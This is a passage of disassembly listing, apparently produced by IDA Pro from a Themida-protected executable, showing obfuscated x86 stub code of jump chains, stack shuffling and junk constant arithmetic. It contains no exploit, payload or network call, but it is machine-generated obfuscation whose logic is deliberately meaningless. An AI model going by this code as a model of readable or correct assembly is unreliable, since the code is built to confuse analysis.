		jmp	loc_5AF061
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------


loc_5A1BFC:				; CODE XREF: Themida_:005ABB9Ej
		add	bh, 5Eh
		jmp	loc_5A2C6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A1C04:				; CODE XREF: sub_598D16-10D0j
					; sub_5A34FD-6B84j
		mov	ecx, [esp+0]
		jmp	loc_59F0CE
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A1C0C:				; CODE XREF: sub_59EB21+12j
		add	ecx, edi
		jmp	loc_59BC54
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A1C13:				; CODE XREF: sub_5A0F44+4F18j
		push	62ECh
		jmp	loc_5A2E07
; END OF FUNCTION CHUNK	FOR sub_5A0F44

; =============== S U B	R O U T	I N E =======================================



sub_5A1C1D	proc near		; CODE XREF: sub_5A8E6E-84B1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A794D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005ADE8D SIZE 00000027 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 1EC351B2h
		sub	ebx, 134976DCh
		jmp	loc_5A794D
sub_5A1C1D	endp

; ---------------------------------------------------------------------------


loc_5A1C36:				; CODE XREF: Themida_:005A02C0j
		add	esp, 4
		jmp	loc_59E9C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A1C41:				; CODE XREF: sub_59FDC7+7994j
					; sub_599059+10ED9j
		mov	[esp+0Ch+var_C], ebp
		push	473336F8h
		push	[esp+10h+var_10]
		mov	ebp, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_18]
		pop	esp
		add	esp, 4
		shr	ebp, 7
		xor	ebp, 294098B9h
		push	ecx
		mov	ecx, ebp
		jmp	loc_5AA25F
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------


loc_5A1C73:				; CODE XREF: Themida_:0059BAFAj
		shl	eax, 8
		jmp	loc_5AEC88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A1C7B:				; CODE XREF: sub_5A600F+8EC6j
		mov	[esp+0], bx
		mov	di, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A3F63
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A1C91:				; CODE XREF: sub_5A17D6-6B0Dj
		pop	esp
		jmp	loc_5A0E9D
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1C97:				; CODE XREF: sub_5AC95F-F9F4j
		jmp	loc_59B288
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A1C9C:				; CODE XREF: Themida_:005A6E8Ej
		push	esp
		jmp	loc_59C2B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A1CA2:				; CODE XREF: sub_59C53B+1056Aj
		push	2493h
		mov	[esp+10h+var_10], esp
		push	edx
		mov	edx, 4
		add	[esp+14h+var_10], edx
		pop	edx
		pop	ecx
		push	3995h
		mov	[esp+10h+var_10], edx
		push	4
		jmp	loc_5A2A16
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A1CC8:				; CODE XREF: sub_59F20F+5928j
		add	esp, 4
		jmp	loc_59D88A
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------


loc_5A1CD0:				; CODE XREF: Themida_:005A848Cj
		sub	al, 0AEh
		add	al, ch
		push	edx
		jmp	loc_5A540C
; ---------------------------------------------------------------------------


loc_5A1CDA:				; CODE XREF: Themida_:005A5310j
		mov	eax, 21247E91h
		add	esi, eax
		pop	eax
		jmp	loc_5AD9B8
; ---------------------------------------------------------------------------


loc_5A1CE7:				; CODE XREF: Themida_:005AC392j
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 5
		jns	loc_5A8546
		add	esi, 1D1964E1h
		push	esi
		pop	ebx
		pop	esi
		or	al, 1Eh
; START	OF FUNCTION CHUNK FOR sub_5AD76F


loc_5A1D04:				; CODE XREF: sub_5AD76F+10CCj
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp-4+arg_0]
		pop	esp
		pop	[esp-8+arg_4]
		pop	esp
		jmp	loc_5A8379
; END OF FUNCTION CHUNK	FOR sub_5AD76F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A1D19:				; CODE XREF: sub_5ABF4A-81CEj
		add	esp, 4
		push	esi
		jmp	loc_598C8D
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_5A1D22:				; CODE XREF: Themida_:005A8A3Dj
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59DE38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A1D2C:				; CODE XREF: sub_5AB3DC:loc_5A7ED9j
		neg	edx
		jmp	loc_59F8A1
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A1D33:				; CODE XREF: sub_5A1B2A-89F8j
		jns	loc_59AA27
		sub	dh, 93h
		jmp	loc_5A20C2
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
		mov	cl, ch
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A1D43:				; CODE XREF: sub_5A91EC:loc_59DB99j
		xor	edx, 1C471B40h
		mov	ecx, edx
		pop	edx
		jmp	loc_5A9AC9
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5A1D51:				; CODE XREF: Themida_:005A1E4Fj
		mov	edi, 62D0657Bh
		shr	edi, 5
		shr	edi, 8
		dec	edi
		sub	edi, 6E4E3211h
		jmp	loc_5A71F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A1D68:				; CODE XREF: sub_5AD76F-6DCFj
					; sub_5AE6FD-404Bj
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		sub	ecx, 7B3A68C7h
		add	ecx, eax
		add	ecx, 7B3A68C7h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp-8+arg_4]
		pop	esp
		shr	ecx, 7
		jmp	loc_59B34E
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A1D98:				; CODE XREF: Themida_:005A6D2Dj
		jmp	loc_5A6E71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A1D9D:				; CODE XREF: sub_59DBFF+EF0Ej
		mov	dl, al
		mov	[ebx], dl
		pop	edx
		pop	ebx
		jmp	loc_5A3302
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------


loc_5A1DA8:				; CODE XREF: Themida_:005ACAE2j
		pop	dword ptr [esp]
		jmp	loc_5A093A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A1DB0:				; CODE XREF: sub_5A8D43-F70Cj
		pop	ebp
		add	eax, edx
		sub	eax, 2BAF54FDh
		pop	edx
		add	eax, 343303C9h
		add	eax, 212B7EC6h
		sub	eax, ebx
		sub	eax, 212B7EC6h
		sub	eax, 343303C9h
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 18DF0428h
		add	ebp, 4B4E6EC4h
		xchg	eax, ebp
		jmp	loc_5984AE
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A1DE6:				; CODE XREF: sub_5AB3DC-AFBDj
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
		add	esp, 4
		idiv	ecx
		jmp	sub_5A8899
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A1DF7:				; CODE XREF: sub_5AC95F:loc_5A01D2j
		xor	bl, 8Bh
		mov	ch, bl
		jmp	loc_5A8317
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A1E01:				; CODE XREF: sub_599059:loc_59AB97j
					; Themida_:005A3799j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_5AEFB9
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A1E13:				; CODE XREF: sub_59B707+B8C9j
		mov	esi, 13F02CFCh
		add	esi, 788A6C51h
		xor	esi, 6ADF453Ah
		mov	edx, esi
		pop	esi
		sub	edi, edx
		mov	edx, [esp-0Ch+arg_6+2]
		add	esp, 4
		push	eax
		mov	eax, 62536F4Ah
		push	edx
		mov	edx, 0B4B05D5h
		jmp	loc_5AD7E6
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A1E40:				; CODE XREF: sub_5AB88E-94B7j
		jo	loc_5A8690
		jmp	loc_59CC17
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A1E4B:				; CODE XREF: Themida_:0059FDDFj
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5A1D51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A1E54:				; CODE XREF: sub_5ACD64-8F21j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		jmp	loc_5AB369
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5A1E68:				; CODE XREF: sub_5ADE3B-5736j
		sub	dh, 20h
		sub	ah, dh
		pop	edx
		add	ah, 96h
		jmp	loc_59D255
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1E76:				; CODE XREF: sub_59D99C+407Dj
		xor	edi, 3BF212DEh
		jmp	loc_5AEF26
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A1E81:				; CODE XREF: sub_597C68+44DBj
					; sub_59BD3A+27E5j ...
		mov	ecx, esp
		jmp	loc_5A182D
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A1E88:				; CODE XREF: sub_5A3F42+27BFj
		add	edi, 0BE15CE73h
		push	49F2h
		mov	[esp+0Ch+var_C], edi
		xor	[esp+0Ch+var_C], 10CB4E05h
		jmp	loc_5A63B5
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A1EA2:				; CODE XREF: sub_59D99C+702Fj
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A1EAE:				; CODE XREF: sub_59D7E7-3DFEj
					; sub_599059+14077j ...
		pop	ebx
		add	ch, 5Dh
		add	al, ch
		jmp	loc_59A3C7
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AFAC


loc_5A1EB9:				; CODE XREF: sub_59AFAC+120CBj
		add	esp, 4
		xchg	ebp, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ecx
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59AFAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A1EC8:				; CODE XREF: sub_5A141E-6535j
		mov	[esp+14h+var_14], ebx
		jmp	loc_5A769D
; END OF FUNCTION CHUNK	FOR sub_5A141E

; =============== S U B	R O U T	I N E =======================================



sub_5A1ED0	proc near		; CODE XREF: sub_5A8C33:loc_59ABDFj
					; sub_598D16+2954j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599406 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059AD21 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D593 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3A1D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A8B07 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A99D4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AA6C8 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 1E4A63DFh
		jmp	loc_5A3A1D
sub_5A1ED0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A1EDB:				; CODE XREF: sub_5AEE2E-7BE3j
		mov	[esp+0], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp-4+arg_0]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	47B1h
		mov	[esp-4+arg_0], esi
		push	3A021EDDh
		mov	esi, [esp+0]
		add	esp, 4
		push	eax
		mov	eax, 37893BA4h
		inc	eax
		not	eax
		jmp	loc_59C27F
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A1F12:				; CODE XREF: sub_5AB88E-BEB4j
		add	edx, ebx
		pop	ebx
		push	edx
		push	[esp+arg_0]
		pop	edx
		jmp	loc_5A134D
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A1F20:				; CODE XREF: sub_59ACEC+10314j
		jnp	loc_5A6C4D
		not	ebx
		jmp	loc_5AC9CF
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
		sub	ecx, edx
		pop	edx
		add	al, 65h


loc_5A1F32:				; CODE XREF: Themida_:0059FC10j
		push	ebp
		mov	ebp, 76613EF9h
		and	ebp, 57B0FC4h
		jmp	loc_5A970E
; ---------------------------------------------------------------------------


loc_5A1F43:				; CODE XREF: Themida_:loc_5AC0E4j
		sub	eax, 0CEA1A192h
		jmp	loc_5AA634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A1F4D:				; CODE XREF: sub_59D24A+3C7Fj
		inc	ch
		add	ch, 1Dh
		not	ch
		sub	ch, 0D7h
		and	ah, ch
		pop	ecx
		sub	ah, 21h
		push	ecx
		mov	ch, 0E1h
		add	ch, 2Ah
		xor	ah, ch
		jmp	loc_59BF45
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------


loc_5A1F6A:				; CODE XREF: Themida_:0059BEC4j
		mov	dl, [esp+3]
		mov	[esp+3], cl
		jmp	loc_5AC9D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A1F77:				; CODE XREF: sub_5A600F+8805j
		neg	ebx
		jmp	loc_5A6758
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A1F7E:				; CODE XREF: Themida_:00598CB3j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A83E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A1F8F:				; CODE XREF: sub_5AA46D-B87Aj
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, 0AB71DD8h
		add	ecx, edi
		sub	ecx, 0AB71DD8h
		pop	edi
		add	ecx, 4
		push	11D1h
		mov	[esp+14h+var_14], ecx
		push	[esp+14h+var_10]
		mov	ecx, [esp+18h+var_18]
		push	65A7h
		mov	[esp+1Ch+var_1C], eax
		mov	eax, esp
		add	eax, 4
		jmp	sub_5AD76F
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A1FCB:				; CODE XREF: sub_597F0C+7DDEj
		push	24C8h
		mov	[esp+14h+var_14], edi
		mov	edi, 59584C63h
		sub	edi, 1
		jmp	loc_59B361
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_5A1FE0:				; CODE XREF: Themida_:00597CC5j
		mov	ecx, 23A67FFFh
		jmp	loc_5AEA55
; ---------------------------------------------------------------------------


loc_5A1FEA:				; CODE XREF: Themida_:005A7426j
		not	eax
		jmp	loc_59A98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A1FF1:				; CODE XREF: sub_5A8D43+19ADj
		push	dx
		mov	dl, 76h
		xor	dl, 5Eh
		jmp	loc_5A9215
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A1FFD:				; CODE XREF: Themida_:0059AD78j
		mov	[esp], ebx
		mov	bh, 90h
		shr	bh, 2
		shr	bh, 2
		push	cx
		mov	ch, 23h
		jmp	loc_59CB8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A2011:				; CODE XREF: sub_5A7343-8F2Bj
		sub	edx, 7D1210BFh
		jmp	loc_5AD4D2
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A201C:				; CODE XREF: sub_5A8D43+2AA4j
		mov	ecx, 4
		add	ebx, 35256A71h
		jmp	loc_5A82D8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A202C:				; CODE XREF: sub_599059+11150j
		add	edi, edx
		push	edx
		mov	edx, 695A282Dh
		add	edi, edx
		mov	edx, [esp-6+arg_0+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_59EE92
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5A2052:				; CODE XREF: sub_5986D6+15ED6j
					; sub_59D147+1161Fj
		sub	ax, 1E50h
		add	ax, 5D63h
		push	[esp+4+var_4]
		pop	edx
		add	esp, 4
		mov	bp, ax
		pop	eax
		sub	bx, bp
		jmp	loc_5A9B7C
; END OF FUNCTION CHUNK	FOR sub_59D147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A2070:				; CODE XREF: sub_5A8D43-80E6j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A58D3
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5A207E:				; CODE XREF: sub_59B48F+C40Bj
		add	ecx, edi
		jmp	loc_59D7DC
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A2085:				; CODE XREF: sub_599059-146Fj
		or	esi, 35EF78AEh
		jmp	loc_5A858E
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A2090:				; CODE XREF: sub_5A9228-2EE3j
		not	ecx
		jmp	loc_5A52C7
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A2097:				; CODE XREF: sub_5AC95F-ED09j
		sar	[esp-4+arg_0], cl
		pushf
		jmp	loc_59AE32
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A20A0:				; CODE XREF: sub_5A9228-6FBCj
		sub	ebx, esi
		jmp	loc_5A6335
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------


loc_5A20A7:				; CODE XREF: Themida_:005A0243j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59DAF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A20B2:				; CODE XREF: sub_5AE6FD-139F8j
		pop	[esp-8+arg_4]
		pop	esp
		div	cx
		push	small 43F9h
		jmp	loc_5A72E5
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5A20C2:				; CODE XREF: sub_5A1B2A+212j
					; sub_59F20F+AC10j
		mov	ebx, 4
		jmp	loc_5A76C2
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A20CC:				; CODE XREF: sub_59A932:loc_5A58E7j
		inc	ebp
		jmp	loc_5A3ABD
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5A20D2:				; CODE XREF: sub_5A41D6+5D85j
		xor	dh, 6Dh
		jmp	loc_599D2E
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA396


loc_5A20DA:				; CODE XREF: sub_5AA396+44EBj
		add	edi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 670E000Ch
		shl	ebp, 1
		add	ebp, 67B04C22h
		shl	ebp, 6
		xor	ebp, 0AD40E7Eh
		jmp	loc_59CC11
; END OF FUNCTION CHUNK	FOR sub_5AA396

; =============== S U B	R O U T	I N E =======================================



sub_5A20F9	proc near		; CODE XREF: sub_5A3F42+674j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00598E8C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A0B7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059AEEE SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A912A SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005ABA65 SIZE 0000000A BYTES

		push	ebp
		push	esi
		jmp	loc_5A912A
sub_5A20F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A2100:				; CODE XREF: sub_5A8D43-825Aj
		inc	edi
		jp	loc_5A99A8
		jmp	loc_5A2716
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A210C:				; CODE XREF: sub_5A9228-3F55j
		sub	ecx, 4AC5970Fh
		add	ebx, ecx
		jmp	loc_5A5AA2
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A2119:				; CODE XREF: sub_5A8D43-111D9j
		push	edx
		mov	dh, 0F1h
		mov	cl, 35h
		xor	cl, dh
		push	[esp+8+var_8]
		jmp	loc_5AD456
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A2128:				; CODE XREF: sub_5AB88E-3FE6j
		pop	dword ptr [esp+0]
		add	[esp-4+arg_0], 4
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	eax
		mov	eax, 502045C1h
		xor	eax, 39952AB4h
		add	eax, 4FEB4E20h
		add	eax, 465F426Fh
		add	edx, eax
		pop	eax
		push	ebx
		jmp	loc_59F9D5
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A2153:				; CODE XREF: sub_5A438E-105j
		push	ecx
		mov	ecx, 3F0E3085h
		sub	ebx, 42211F03h
		jmp	loc_5A985E
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A2164:				; CODE XREF: sub_599059+B25Cj
		neg	ebx
		jbe	loc_5A4AB7
		push	edi
		mov	edi, 4EBB4560h
		add	edi, 121FC515h
; END OF FUNCTION CHUNK	FOR sub_599059

; =============== S U B	R O U T	I N E =======================================



sub_5A2178	proc near		; DATA XREF: Themida_:00597AD8o

arg_0		= dword	ptr  4

		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-4+arg_0], eax
		pushf
		jmp	loc_59B31D
sub_5A2178	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2186:				; CODE XREF: sub_5A8C33-B9EEj
		push	edx
		jmp	loc_5ABFBD
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A218C:				; CODE XREF: Themida_:005AEC5Cj
		pop	ebx
		pop	edx
		push	ecx
		jmp	loc_5AD520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A2194:				; CODE XREF: sub_5A58AC-9AD1j
		pop	ecx
		push	ebp
		mov	ebp, 2
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+4+var_4]
		jmp	loc_5AA132
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A21A6:				; CODE XREF: sub_5A3F42+E07j
		add	edi, 28357889h
		sub	esp, 4
		jmp	loc_599F31
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_5A21B7:				; DATA XREF: Themida_:005978ACo
		push	dword ptr [esp]
		pop	eax
		push	7191h
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5ADF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A21D1:				; CODE XREF: sub_59D99C+FA29j
		add	esp, 4
		dec	ecx
		push	ebx
		jmp	loc_5A0AAA
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A21DE:				; CODE XREF: sub_5A3F42+1C6Aj
		pop	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		jmp	loc_5A87A9
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A21ED:				; CODE XREF: sub_5ADDF8-144A1j
		push	edi
		jmp	loc_59DE05
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5A21F3:				; CODE XREF: sub_5A8108+3j
		add	ebp, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	4
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		jmp	loc_5A0150
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------


loc_5A2213:				; CODE XREF: Themida_:005A3AA9j
		add	ebx, 1EDB27D8h
		jl	loc_5A4201
		push	edx
		mov	edx, 384260F7h
		or	edx, 13A73E78h
		add	edx, 7162839Bh
		sub	ebx, edx
		pop	edx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, 10EC4FBAh
		push	ecx
		jmp	loc_5A0C87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A224B:				; CODE XREF: sub_5A7343+4491j
					; sub_59B333+1211Ej
		sub	ecx, eax
		pop	eax
		jmp	loc_59EA21
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A2253:				; CODE XREF: sub_5A438E+740Cj
		add	ebx, edx
		jmp	loc_5ACB3C
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5A225A:				; CODE XREF: sub_5A9228-F06Cj
		and	esi, 294D1BC0h
		shr	esi, 6
		inc	esi
		not	esi
		sub	esi, 9CD2D1FBh
		jmp	loc_5A20A0
; END OF FUNCTION CHUNK	FOR sub_5A9228
